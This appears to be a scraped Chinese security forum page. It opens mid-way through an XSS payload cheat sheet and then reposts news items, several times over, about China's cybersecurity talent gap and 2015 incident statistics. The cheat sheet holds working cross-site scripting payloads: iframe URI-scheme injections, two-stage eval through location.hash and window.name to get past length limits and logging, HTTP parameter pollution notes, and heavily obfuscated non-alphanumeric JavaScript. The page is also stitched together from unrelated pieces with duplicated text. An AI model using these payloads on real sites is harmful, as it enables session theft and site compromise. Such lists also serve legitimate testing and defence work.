body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
</style>
XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
<?xml version="1.0" ?>
<someElement>
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
</someElement>
URI Schemes
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)
HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET a = val1,val2
ASP a = val1,val2
JSP a = val1
PHP a = val2
Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)
http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
Two Stage XSS via name attribute
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>
Non-alphanumeric crazyness...
<script>
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
</script>
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
在企业运维安全过程中，怎么能安全、高效的管理系统口令？
口令安全 • kakaxi 回复了问题 • 4 人关注 • 3 个回复 • 983 次浏览 • 2016-09-05 18:30
中国网络安全人才缺口至少50万
安全资讯 • admin 发表了文章 • 7 个评论 • 898 次浏览 • 2016-09-03 18:37
来源：央视新闻
转载：http://toutiao.com/a6320531710836670722/
在刚刚结束的2016年中国互联网安全大会上，教育部相关负责人表示，当前我国网络安全人才至少有50万的缺口，网络安全将成为未来大学生就业的热点。
教育部高等学校信息安全类专业教学指导委员会秘书长 封化民：我们讲按照我们国家的信息基础设施所需要的人才等级保护这样一个标准来要求的话，至少有50万这样的一个缺口。
高校人才培养每年不到一万人
据悉，我国网络安全人才本科硕士博士加在一起每年不过一万人，远远不能满足市场需要。我国网络安全专业教育起步较晚，2015年才将网络安全设为一级学科。目前，我国网络安全、信息对抗、保密管理3个专业在全国各高校布点仅121个，电子信息类、计算机类等与网络人才培养相关的专业布点也只有4800余个。
部分人才走出校门就能获得高薪
由于信息安全人才的紧缺，许多企业甚至不敢让相关的专业人员去参加行业竞赛，生怕人才会被其他公司挖走，甚至刚刚走出大学校门的部分网络安全高手就获得了30-50万年薪等高薪职位推荐。
互联网安全专家 谭晓生：网络安全人才的培养速度比较慢，首先人才的筛选就不容易，它不是所有人都能干的，只有一小部分才能干。其实我个人预计是在未来很长一段时间，这个网络安全人才的缺口都会在这里。
提高人才“复用度”缓解目前人才压力
专家建议，缓解眼下的人才缺口压力，可以通过提高网络安全人才的复用度，也就是说让网络安全人才能够为多个有需求的网络企业服务，充分提高网络安全人才的使用效率，从而缓解因人才不足造成的困难。
查看全部
转载：http://toutiao.com/a6320531710836670722/
在刚刚结束的2016年中国互联网安全大会上，教育部相关负责人表示，当前我国网络安全人才至少有50万的缺口，网络安全将成为未来大学生就业的热点。
教育部高等学校信息安全类专业教学指导委员会秘书长 封化民：我们讲按照我们国家的信息基础设施所需要的人才等级保护这样一个标准来要求的话，至少有50万这样的一个缺口。
高校人才培养每年不到一万人
据悉，我国网络安全人才本科硕士博士加在一起每年不过一万人，远远不能满足市场需要。我国网络安全专业教育起步较晚，2015年才将网络安全设为一级学科。目前，我国网络安全、信息对抗、保密管理3个专业在全国各高校布点仅121个，电子信息类、计算机类等与网络人才培养相关的专业布点也只有4800余个。
部分人才走出校门就能获得高薪
由于信息安全人才的紧缺，许多企业甚至不敢让相关的专业人员去参加行业竞赛，生怕人才会被其他公司挖走，甚至刚刚走出大学校门的部分网络安全高手就获得了30-50万年薪等高薪职位推荐。
互联网安全专家 谭晓生：网络安全人才的培养速度比较慢，首先人才的筛选就不容易，它不是所有人都能干的，只有一小部分才能干。其实我个人预计是在未来很长一段时间，这个网络安全人才的缺口都会在这里。
提高人才“复用度”缓解目前人才压力
专家建议，缓解眼下的人才缺口压力，可以通过提高网络安全人才的复用度，也就是说让网络安全人才能够为多个有需求的网络企业服务，充分提高网络安全人才的使用效率，从而缓解因人才不足造成的困难。
查看全部
来源：央视新闻
转载：http://toutiao.com/a6320531710836670722/
在刚刚结束的2016年中国互联网安全大会上，教育部相关负责人表示，当前我国网络安全人才至少有50万的缺口，网络安全将成为未来大学生就业的热点。
教育部高等学校信息安全类专业教学指导委员会秘书长 封化民：我们讲按照我们国家的信息基础设施所需要的人才等级保护这样一个标准来要求的话，至少有50万这样的一个缺口。
高校人才培养每年不到一万人
据悉，我国网络安全人才本科硕士博士加在一起每年不过一万人，远远不能满足市场需要。我国网络安全专业教育起步较晚，2015年才将网络安全设为一级学科。目前，我国网络安全、信息对抗、保密管理3个专业在全国各高校布点仅121个，电子信息类、计算机类等与网络人才培养相关的专业布点也只有4800余个。
部分人才走出校门就能获得高薪
由于信息安全人才的紧缺，许多企业甚至不敢让相关的专业人员去参加行业竞赛，生怕人才会被其他公司挖走，甚至刚刚走出大学校门的部分网络安全高手就获得了30-50万年薪等高薪职位推荐。
互联网安全专家 谭晓生：网络安全人才的培养速度比较慢，首先人才的筛选就不容易，它不是所有人都能干的，只有一小部分才能干。其实我个人预计是在未来很长一段时间，这个网络安全人才的缺口都会在这里。
提高人才“复用度”缓解目前人才压力
专家建议，缓解眼下的人才缺口压力，可以通过提高网络安全人才的复用度，也就是说让网络安全人才能够为多个有需求的网络企业服务，充分提高网络安全人才的使用效率，从而缓解因人才不足造成的困难。
转载：http://toutiao.com/a6320531710836670722/
在刚刚结束的2016年中国互联网安全大会上，教育部相关负责人表示，当前我国网络安全人才至少有50万的缺口，网络安全将成为未来大学生就业的热点。
教育部高等学校信息安全类专业教学指导委员会秘书长 封化民：我们讲按照我们国家的信息基础设施所需要的人才等级保护这样一个标准来要求的话，至少有50万这样的一个缺口。
高校人才培养每年不到一万人
据悉，我国网络安全人才本科硕士博士加在一起每年不过一万人，远远不能满足市场需要。我国网络安全专业教育起步较晚，2015年才将网络安全设为一级学科。目前，我国网络安全、信息对抗、保密管理3个专业在全国各高校布点仅121个，电子信息类、计算机类等与网络人才培养相关的专业布点也只有4800余个。
部分人才走出校门就能获得高薪
由于信息安全人才的紧缺，许多企业甚至不敢让相关的专业人员去参加行业竞赛，生怕人才会被其他公司挖走，甚至刚刚走出大学校门的部分网络安全高手就获得了30-50万年薪等高薪职位推荐。
互联网安全专家 谭晓生：网络安全人才的培养速度比较慢，首先人才的筛选就不容易，它不是所有人都能干的，只有一小部分才能干。其实我个人预计是在未来很长一段时间，这个网络安全人才的缺口都会在这里。
提高人才“复用度”缓解目前人才压力
专家建议，缓解眼下的人才缺口压力，可以通过提高网络安全人才的复用度，也就是说让网络安全人才能够为多个有需求的网络企业服务，充分提高网络安全人才的使用效率，从而缓解因人才不足造成的困难。
2015年我国发生网络安全事件超12万起
安全资讯 • admin 发表了文章 • 42 个评论 • 880 次浏览 • 2016-09-03 18:25
新华社成都5月25日电（记者高亢、陈地）国家互联网应急中心25日在成都发布了《2015年中国互联网网络安全报告》。报告显示，2015年互联网应急中心发现网络安全事件超过12万起，同比增长125.9%，我国网络空间安全形势不容乐观。
据互联网应急中心运行部副主任严寒冰介绍，2015年，互联网应急中心共接收境内外报告的网络安全事件126916起，较2014年增长了125.9%。其中，境内报告网络安全事件126424起，较2014年增长了128.6%，境外报告网络安全事件492起，较2014年下降43.9%。发现的网络安全事件中，数量排前三位的类型分别是网页仿冒事件（占59.8%）、漏洞事件（占20.2%）和网页篡改事件（占9.8%）。2015年，互联网应急中心共成功处理各类网络安全事件125815起，较2014年的56072起增长124.4%。
360企业安全集团总裁吴云坤认为，互联网快速发展是一柄“双刃剑”，在助推经济增长的同时，很多企业、网站在上升期并没有注重网络安全防护技术研发和投入，导致近年来个人信息泄露和安全事件的持续增 加。“网络约车、快递、网络送餐等各类互联网服务已成为网民的生活习惯，然而个人信息登记在互联网上，很多企业和网站并没有足够的防护技术，很容易被别有 用心的组织渗透获取信息。”
中国工程院院士、清华大学计算机科学与技术系教授吴建平表示，目前，我国网络安全面临的主要挑战是核心技术受制于人，同时缺乏安全可信的网络体系结构和专业人才，“解决网络安全已成为我国安全的战略需求。”他说。
来源：新华网 查看全部
据互联网应急中心运行部副主任严寒冰介绍，2015年，互联网应急中心共接收境内外报告的网络安全事件126916起，较2014年增长了125.9%。其中，境内报告网络安全事件126424起，较2014年增长了128.6%，境外报告网络安全事件492起，较2014年下降43.9%。发现的网络安全事件中，数量排前三位的类型分别是网页仿冒事件（占59.8%）、漏洞事件（占20.2%）和网页篡改事件（占9.8%）。2015年，互联网应急中心共成功处理各类网络安全事件125815起，较2014年的56072起增长124.4%。
360企业安全集团总裁吴云坤认为，互联网快速发展是一柄“双刃剑”，在助推经济增长的同时，很多企业、网站在上升期并没有注重网络安全防护技术研发和投入，导致近年来个人信息泄露和安全事件的持续增 加。“网络约车、快递、网络送餐等各类互联网服务已成为网民的生活习惯，然而个人信息登记在互联网上，很多企业和网站并没有足够的防护技术，很容易被别有 用心的组织渗透获取信息。”
中国工程院院士、清华大学计算机科学与技术系教授吴建平表示，目前，我国网络安全面临的主要挑战是核心技术受制于人，同时缺乏安全可信的网络体系结构和专业人才，“解决网络安全已成为我国安全的战略需求。”他说。
来源：新华网 查看全部
新华社成都5月25日电（记者高亢、陈地）国家互联网应急中心25日在成都发布了《2015年中国互联网网络安全报告》。报告显示，2015年互联网应急中心发现网络安全事件超过12万起，同比增长125.9%，我国网络空间安全形势不容乐观。
据互联网应急中心运行部副主任严寒冰介绍，2015年，互联网应急中心共接收境内外报告的网络安全事件126916起，较2014年增长了125.9%。其中，境内报告网络安全事件126424起，较2014年增长了128.6%，境外报告网络安全事件492起，较2014年下降43.9%。发现的网络安全事件中，数量排前三位的类型分别是网页仿冒事件（占59.8%）、漏洞事件（占20.2%）和网页篡改事件（占9.8%）。2015年，互联网应急中心共成功处理各类网络安全事件125815起，较2014年的56072起增长124.4%。
360企业安全集团总裁吴云坤认为，互联网快速发展是一柄“双刃剑”，在助推经济增长的同时，很多企业、网站在上升期并没有注重网络安全防护技术研发和投入，导致近年来个人信息泄露和安全事件的持续增 加。“网络约车、快递、网络送餐等各类互联网服务已成为网民的生活习惯，然而个人信息登记在互联网上，很多企业和网站并没有足够的防护技术，很容易被别有 用心的组织渗透获取信息。”
中国工程院院士、清华大学计算机科学与技术系教授吴建平表示，目前，我国网络安全面临的主要挑战是核心技术受制于人，同时缺乏安全可信的网络体系结构和专业人才，“解决网络安全已成为我国安全的战略需求。”他说。
来源：新华网
据互联网应急中心运行部副主任严寒冰介绍，2015年，互联网应急中心共接收境内外报告的网络安全事件126916起，较2014年增长了125.9%。其中，境内报告网络安全事件126424起，较2014年增长了128.6%，境外报告网络安全事件492起，较2014年下降43.9%。发现的网络安全事件中，数量排前三位的类型分别是网页仿冒事件（占59.8%）、漏洞事件（占20.2%）和网页篡改事件（占9.8%）。2015年，互联网应急中心共成功处理各类网络安全事件125815起，较2014年的56072起增长124.4%。
360企业安全集团总裁吴云坤认为，互联网快速发展是一柄“双刃剑”，在助推经济增长的同时，很多企业、网站在上升期并没有注重网络安全防护技术研发和投入，导致近年来个人信息泄露和安全事件的持续增 加。“网络约车、快递、网络送餐等各类互联网服务已成为网民的生活习惯，然而个人信息登记在互联网上，很多企业和网站并没有足够的防护技术，很容易被别有 用心的组织渗透获取信息。”
中国工程院院士、清华大学计算机科学与技术系教授吴建平表示，目前，我国网络安全面临的主要挑战是核心技术受制于人，同时缺乏安全可信的网络体系结构和专业人才，“解决网络安全已成为我国安全的战略需求。”他说。
来源：新华网
